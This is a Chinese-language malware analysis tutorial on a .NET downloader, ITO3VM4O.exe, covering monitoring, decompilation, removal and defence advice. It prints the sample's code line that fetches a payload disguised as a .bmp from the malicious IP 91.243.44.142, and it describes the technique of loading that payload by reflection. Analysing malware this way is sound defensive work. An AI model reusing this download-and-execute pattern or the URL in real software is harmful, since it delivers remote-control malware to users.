ITO3VM4O.exe 病毒文件分析教学文档

0x01 样本概况

样本信息

• 样本名称：ITO3VM4O.exe
• 平台：.NET
• 编程语言：C#
• 加壳情况：无壳

测试环境及工具

• 测试环境：Windows 10 专业版 64位
• 分析工具：
  • 查壳工具：die、exeinfope、PEiD
  • 调试工具：x64dbg、dnSpy32
  • 反编译工具：ILSpy
  • 行为监控：火绒剑

分析目标

1. 初步分析病毒文件
2. 查看病毒主要行为
3. 详细分析病毒文件
4. 手工查杀病毒

0x02 具体行为分析

初步分析病毒文件

静态分析

• 使用查壳工具(die、exeinfope、PEiD)确认样本无壳
• 确认是.NET平台下的C#程序

查看病毒主要行为（使用火绒剑）

1. 执行监控

• 模块加载：运行后加载所需动态链接库
• 进程行为：10秒后触发系统异常然后退出

2. 文件监控

• 重点关注：文件创建、写入、删除等操作

3. 注册表监控

• 关键监控项：
  • 删除注册表项值
  • 设置注册表项值
  • 创建注册表键

4. 进程监控

• 全选所有子项进行分析
• 监控所有进程相关操作

5. 网络监控

• 全选所有子项进行分析
• 发现连接恶意IP：91.243.44.142
  • 微步在线分析确认该IP关联远控类恶意软件或勒索软件

6. 行为监控

• 全选所有子项
• 作为病毒行为的汇总分析

详细分析病毒文件（使用ILSpy和dnSpy32）

1. 下载恶意资源

byte[] Buffer = Account.Rhbpuseciwgwjqu("http://91.243.44.142/arx1-Kvaooraq_Lwbhqgmh.bmp");

• 通过自定义函数下载URL指向的文件内容（二进制比特流）
• 文件扩展名.bmp为伪装，实际是恶意代码文件

2. 反调试机制

Dynamic() // 基于时间差值的空操作反调试函数

• 实现简单反调试，但实际为空操作

3. 恶意代码执行流程

Delege() → USA() → World() → Mouse()

• 主函数调用链
• 下载的比特流用于：
  • 远程加载托管程序集
  • 使用反射生成实例
  • 调用实例特定方法执行恶意代码

4. 异常处理

• 如果URL资源下载失败或资源中缺少对应对象/成员：
  • 直接抛出异常
  • 无后续操作

当前威胁评估

• 由于URL已失效，程序当前不具备特别威胁性
• 但代码结构显示其具备远程控制恶意软件特征

0x03 手工查杀建议

1. 文件删除：

   • 定位并删除ITO3VM4O.exe文件

2. 注册表清理：

   • 检查并清理病毒创建的注册表项

3. 网络监控：

   • 阻断与91.243.44.142的通信

4. 进程检查：

   • 结束病毒相关进程

5. 系统检查：

   • 检查是否有其他衍生文件
   • 监控异常网络连接

0x04 技术要点总结

1. 下载器功能：

   • 从远程服务器下载伪装成图片的恶意代码

2. 反射加载：

   • 使用.NET反射机制动态加载并执行恶意代码

3. 简单反调试：

   • 实现时间差检测，但未实际发挥作用

4. 模块化设计：

   • 通过多个函数组合完成恶意行为

5. 失效机制：

   • 依赖远程资源，资源不可用时自动失效

0x05 防御建议

1. 网络层防御：

   • 拦截恶意域名/IP访问

2. 系统加固：

   • 限制.NET程序的反射权限
   • 启用代码签名验证

3. 监控措施：

   • 监控异常程序集加载行为
   • 关注可疑的网络下载行为

4. 更新机制：

   • 保持杀毒软件特征库最新

5. 用户教育：

   • 提高对可疑.exe文件的警惕性